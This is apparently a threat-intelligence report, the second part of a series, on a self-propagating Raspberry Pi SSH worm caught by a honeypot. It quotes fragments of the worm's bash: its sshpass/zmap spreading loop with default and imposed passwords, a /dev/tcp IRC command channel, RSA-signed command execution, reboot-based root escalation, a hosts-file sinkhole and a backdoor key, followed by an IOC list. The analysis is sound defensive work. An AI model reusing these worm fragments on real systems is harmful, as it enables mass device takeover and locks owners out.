The Self-Made Botnet: The Raspberry Worm Builds Its Own Brood
The Raspberry Worm โ Part 2
Classification: HIGH ยท Confidence: HIGH (first-party sample analysis)
Part 1 caught the Raspberry Worm in the act of a single drop โ a host logged into the honeypot with the Pi factory default pi:raspberry, pushed a bash script into /tmp over scp, ran it, and left, in under two seconds. That letter read the script's bytes on-estate and reported what it said in plaintext: an IRC command-and-control channel, an authorized_keys backdoor, a worm loop. The confidence was first-party, but the frame was one node โ one drop, one script, one moment.
This letter is what the paused pipeline work was for. The investigation stopped, in Part 1's wake, to build the edges that would let the honeypot see not a drop but a population โ to connect a captured sample to every host that ever delivered it, and every credential and behaviour that travels with it. With those edges in place, the worm loop that Part 1 read as text can now be watched as a process: not "here is what this script says it will do," but "here is the script doing it, across the estate, over weeks." The worm described its own propagation in its own code. The question this letter answers is whether that propagation is real and observable โ and it is.
The same worm, a week later, from a new node
The first proof that Part 1 caught a live organism and not a museum specimen is simple: it happened again. Part 1's sample was delivered on 2026-07-15. On 2026-07-22 at 12:46 UTC โ a week later โ the honeypot retained another dropped script, from a different session, under a different random filename. Its SHA-256 is different from Part 1's. Its behaviour is not.
Read side by side, the two scripts are the same worm. Both open an IRC control channel and JOIN #biret. Both build their nickname the same way โ NICK=a${SYS:24}, a fixed prefix plus a slice of the host's identifiers. Both carry the identical competitor-killing block โ killall bins.sh minerd node nodejs ktx-armv4l ktx-i586 ktx-m68k ktx-mips ktx-mipsel ktx-powerpc ktx-sh4 ktx-sparc arm5 zmap kaiten perl. Both sinkhole the same rival domain, both write the same persistence, both spread the same way. The pipeline classified the second drop, independently, as the same family the first was โ IRC Botnet Dropper, severity 100, the same nine MITRE techniques. A week apart, from two unrelated sessions, the honeypot received byte-for-behaviour the same worm.
That recurrence is the difference between a report and a surveillance. One drop is an incident. The same worm arriving a week later from a new source is a campaign in progress โ the organism is out there, running its loop, and this perimeter is simply one of the many pi:raspberry hosts it periodically tries. Part 1 photographed it; Part 2 confirms it is still moving.
The propagation loop, read line by line
The worm loop is not inferred from behaviour โ it is spelled out in the script, and it is worth walking because it is a complete, self-contained recipe for turning one infected Pi into a source of new infections. Stripped to its propagation core, the script does this:
apt-get install zmap sshpass -y --force-yes
...
killall ssh scp
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 \
-o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null ...
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 ...
Every clause is load-bearing. It installs its own tools โ zmap, a high-speed internet-wide port scanner, and sshpass, which feeds a password to scp non-interactively โ using --force-yes to suppress every prompt. It clears the field with killall ssh scp, terminating any existing SSH activity so its own has clean use of the channel. And then it spreads, by pushing a copy of itself over scp to other hosts, exactly the delivery mechanism Part 1 observed arriving at the honeypot. The worm that landed on this perimeter did so because some other infected host ran this very loop and reached us.
The two sshpass lines are the detail that reveals the worm thinks in terms of a brood. The first tries the password raspberry โ the factory default, the key to every fresh, un-infected Pi. The second tries raspberryraspberry993311 โ and that string is not arbitrary. It is the password the worm sets on every host it takes, via the usermod line elsewhere in the script that replaces the pi account's password hash. So the propagation is two-pronged and deliberate: spread to new victims with the default they still carry, and reach already-taken hosts with the password the worm itself imposed. The second password is a membership token โ a host that answers to raspberryraspberry993311 is one the brood already owns, and the worm uses it to re-assert control across its own population. It is not merely spreading; it is maintaining a fleet, distinguishing conquest from housekeeping.
This is the mechanical heart of the whole thing: the botnet has no external recruiter. It does not rent a scanner or buy a target list. Each node it takes becomes a scanner (zmap) and a spreader (sshpass scp), hunting the next pi:raspberry host and pushing the worm onward. The population grows by the population's own labour โ a self-made botnet, assembling itself one factory-default Raspberry Pi at a time.
The command channel is cryptographically gated
For a script that spreads by guessing the world's most famous default password, the worm's control channel is surprisingly disciplined โ and the detail matters, because it tells you the operator thought about the one problem every botnet builder eventually faces: how to keep the botnet from being stolen. The IRC channel #biret is open; anyone can join it and watch. But watching is not commanding. The relevant lines read, in the script's own hand:
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
CMD=`echo $privmsg_data | base64 -d -i`
Every command arriving over #biret is a base64 blob, and before the bot will run it, it verifies an RSA signature against the public.pem the worm dropped on the host โ checking that the signed value matches the command's hash. Only messages signed with the operator's private key pass; anything else is ignored, and only then is the command base64-decoded and eval'd. The consequence is that the control channel can be public and it does not matter: an outsider โ or a rival worm author, or a researcher โ can sit in #biret and issue PRIVMSG all day, and every bot will silently discard the unsigned orders. The brood answers to exactly one key.
That is a meaningful piece of engineering for a "commodity" script, and it should adjust the reflex to dismiss these worms as crude. The propagation is crude โ it is a default password and scp. The governance is not: it is a cryptographically-authenticated command bus that makes the fleet un-hijackable by anyone but its owner. A defender who found #biret could enumerate the brood but could never command it clean; the key holder alone can, and the key never leaves them. It is the same asymmetry that secures a real C2 platform, implemented in twelve lines of bash and openssl.
The reboot is the privilege escalation
One clause near the top of the script is easy to read past and is, in fact, the whole hinge of how the worm gains root:
if [ "$EUID" -ne 0 ]; then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sleep 1
sudo reboot
If the worm is not already root, it does not attempt an exploit. It copies itself to /opt under a random name, writes its /etc/rc.local boot entry, and simply reboots the machine. The escalation is the persistence: rc.local runs as root at boot, so when the Pi comes back up, the worm's copy in /opt executes with full privilege, and everything that needed root โ the usermod password change, the writes to /root/.ssh, the killall of system-level rivals โ now succeeds. It never needed a vulnerability. It needed only the default sudo configuration that ships on a Raspberry Pi, where the pi user can sudo without re-entering a password. The worm turns that convenience into a clean, exploit-free path from an ordinary login to root-at-boot, paid for with a single reboot the owner will read as a glitch.
This is why the factory default is so much more dangerous on a Pi than the same password would be elsewhere. It is not only that pi:raspberry opens the door; it is that the account behind that door holds passwordless sudo by default, so opening the door is opening root. The worm's entire escalation strategy is a bet on that default โ and on the millions of Pis where it was never changed, the bet pays every time.
The brood, made visible
The self-propagation is proven in the code; the pipeline edges make its result visible in the data, from two directions.
The first is the credential that drives it. Part 8 of the companion Recidivists series โ The Vanishing Majority โ measured the honeypot's SSH flood and found the credential pi:raspberry attempted from 83 distinct source addresses, each seen briefly and gone. Read on its own, that was a curiosity: why do dozens of scattered, one-time hosts all guess the Raspberry Pi default? This letter is the answer. Those 83 addresses are not 83 unrelated attackers. They are, in substantial part, the worm's propagation surface โ infected hosts running the very sshpass -praspberry scp loop above, each hunting the next Pi, each appearing at the honeypot once as it sweeps past. The "vanishing majority" of that letter and the brood of this one are the same phenomenon seen from two angles: the rotating one-time SSH sources are what a self-propagating worm's spread looks like to a per-address counter that cannot see the shared code behind the scattered IPs.
The second is the backdoor left behind. Among the honeypot's retained samples is a 389-byte SSH public key โ the canonical authorized_keys backdoor of the Raspberry Pi worm lineage, beginning ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbโฆ. It has been dropped into the honeypot 105 times from 98 distinct hosts, the most widely-deployed single artifact of its kind on the estate, carried by addresses whose average threat score is 74.8. A backdoor key is not a thing an attacker types by hand; it is planted by automation, and the same key planted by ninety-eight different hosts is ninety-eight running instances of the same automated backdoor-installer. Whether every one of those ninety-eight is this precise worm variant or a near relative in the same lineage, the shape is unmistakable: this is not one intruder repeatedly. It is a population of automated implants, each doing the identical thing, which is exactly what a worm's footprint looks like from inside a sensor.
The heaviest single contributor gives the population a face. 159.65.148.158, a DigitalOcean host, has struck the honeypot 2,035 times, carries an AbuseIPDB score of 100 and a threat score of 99, and is among the addresses planting the backdoor. It is not a compromised home Pi; it is a rented cloud box turned into a dedicated spreader โ the industrialised end of the same brood that, at its other end, is made of hijacked hobbyist devices. The worm does not care which; a host that answers pi:raspberry is a host to take, whether it sits on a workbench or in a datacentre.
The fork that eats its parent
The most revealing behaviour in the whole script is the one that has nothing to do with spreading and everything to do with survival โ and it identifies this worm not as an original but as a fork at war with its own lineage.
The script writes a single line into the system's host file:
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
bins.deutschland-zahlung.eu is not a random domain. It is the command-and-control host of the original Raspberry Pi worm โ the 2017-era Linux.MulDrop.14, the first widely-documented bash IRC worm to hunt pi:raspberry at scale. By mapping that domain to 127.0.0.1, this variant blackholes its own ancestor's C2: any earlier-generation worm already on the host, or any that arrives later, finds its controller pointing at the local loopback and goes deaf. Combine that with the competitor-killing block โ which terminates kaiten, the ktx-* DDoS binaries, minerd and cpuminer โ and the usermod password change that locks pi:raspberry so no default-credential worm can re-enter, and the intent is coherent and ruthless: this worm does not share the host. It kills the miners, deafens the parent, evicts the rivals, and changes the locks. It is a cannibal in its own family โ built from the MulDrop lineage's own code, turned against the rest of it, competing for the same finite supply of vulnerable Pis.
That reframes the "brood" as something more specific than a botnet. It is a faction in an ecosystem โ one of several worm families fighting over the world's population of factory-default Raspberry Pis, and the sinkhole line is the fossil of that war written into the malware itself. The honeypot did not just catch a worm spreading; it caught a worm spreading while actively suppressing its competitors, which is why its brood can grow: every host it takes, it takes cleanly and holds against all comers.
The owner, locked out of their own device
There is a human cost in this script that the technical reading should not skate past, because it is direct and it is cruel in its efficiency. The usermod line does not add a backdoor account alongside the legitimate one โ it overwrites the pi user's password with the worm's hash. The two .bashrc deletions erase the shells of both root and pi. Between them, the legitimate owner of the device โ a hobbyist, a student, a small business running a Pi in a corner โ is locked out of their own machine. They can no longer log in with the password they set; the worm changed it to raspberryraspberry993311 and told no one. The device still runs, still draws power, still sits on their network โ but it now answers to a stranger's IRC channel, scans the internet on the stranger's behalf, and pushes the worm to the next victim, all while its owner is shut out at the door.
This is the quiet violence of the commodity worm. It is not a targeted intrusion against someone who matters; it is an indiscriminate machine that takes whatever answers the default password, and the people it dispossesses are precisely those least equipped to notice or recover โ the ones who plugged in a Pi, never changed raspberry, and have no idea their device now belongs to a botnet that changed the lock behind itself. Part 1 called the victim the attacker, because a compromised Pi is both. This letter adds the third role the same device is forced into: it is also the dispossessed โ its owner evicted, its labour stolen, its identity worn by the brood.
What holds, and what is bounded
The discipline of this series requires separating what the evidence proves from what it merely suggests.
What holds, first-party and high-confidence: the worm's complete behaviour, because it was read from the retained bytes on-estate, not from a signature โ the IRC C2 on #biret over port 6667 (exec 3<>/dev/tcp/$svr/6667), the RSA-signed command channel (base64 PRIVMSG verified against a dropped public.pem), the authorized_keys backdoor, the usermod lockout, the competitor-killing, the deutschland-zahlung.eu sinkhole, and the sshpass/zmap self-propagation loop. All of it is in the script, in plaintext. The recurrence is also first-party: the same-behaviour dropper arriving 2026-07-15 and again 2026-07-22 is two retained samples, not an inference.
What is strong but a degree removed: the identification of the 83 pi:raspberry source addresses as this worm's propagation surface. The link is behavioural and mechanistic โ the worm's own code spreads via pi:raspberry, and the honeypot sees pi:raspberry attempts from a scattered, one-time population exactly as self-propagation would produce โ but the honeypot cannot prove that every one of those 83 hosts ran this exact variant, only that they are hunting the credential this worm hunts. Likewise, the 98 hosts planting the canonical backdoor key are a population of automated Pi-worm implants; whether all are this fork or a mix of lineage relatives is not something a single sensor can fully resolve.
What is not claimed: any named operator. The IRC channel #biret, the C2 server behind $svr, and the RSA key that signs commands are the operator's fingerprints, but they are pseudonymous. This letter attributes behaviour and lineage โ a MulDrop-family fork, cannibalising its parent, self-propagating over pi:raspberry โ not a person. The bridge to whoever runs #biret is a thread for the entity graph, not a conclusion here.
Core IOCs
- C2: IRC, channel
#biret, port6667; nick patterna${SYS:24}; RSA-signed base64PRIVMSGcommand channel verified against a dropped/tmp/public.pem. - Backdoor key (canonical, 98-host spread):
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbโฆ(389-byteauthorized_keysimplant). - Parent-lineage sinkhole:
127.0.0.1 bins.deutschland-zahlung.euwritten to/etc/hosts(blackholesLinux.MulDrop.14C2). - Imposed credential / brood token:
pipassword set toraspberryraspberry993311viausermodhash$6$vGkGPKUr$โฆ. - Persistence: copy to
/opt/<mktemp>,/etc/rc.localboot entry,sudo reboot. - Propagation:
apt-get install zmap sshpass --force-yes;sshpass -praspberry scp โฆ(fresh) andsshpass -praspberryraspberry993311 scp โฆ(brood). - Competitor eviction:
killallofminerd,cpuminer,kaiten,ktx-*,zmap,bins.sh;rm -rf /tmp/ktx* /tmp/cpuminer-multi /var/tmp/kaiten. - Heaviest observed spreader:
159.65.148.158(DigitalOcean; 2,035 honeypot hits; AbuseIPDB 100). - MITRE ATT&CK: T1037, T1071, T1078.001, T1098, T1098.004, T1222, T1489, T1562.001, T1584.002.
Cross-references
- TI-2026-087A โ The scp Drop: the single-drop first-party analysis this letter extends from one node to the population.
- TI-2026-089H โ The Vanishing Majority: the
pi:raspberrySSH flood (83 one-time sources) that this letter identifies as the worm's propagation surface โ the two investigations are one phenomenon. - Lineage:
Linux.MulDrop.14(2017), whosedeutschland-zahlung.euC2 this variant sinkholes โ the parent this fork cannibalises.
The worm told us, in its own plaintext, that it would build a botnet by turning each victim into a hunter. Part 1 read the sentence. Part 2 watched it come true across the estate โ the same worm a week on, the shared backdoor across a hundred hosts, the scattered one-time pi:raspberry sweep that is the brood in motion. A self-made botnet needs no supplier and asks no permission; it only needs a default password left unchanged, and a loop that never stops looking for the next one.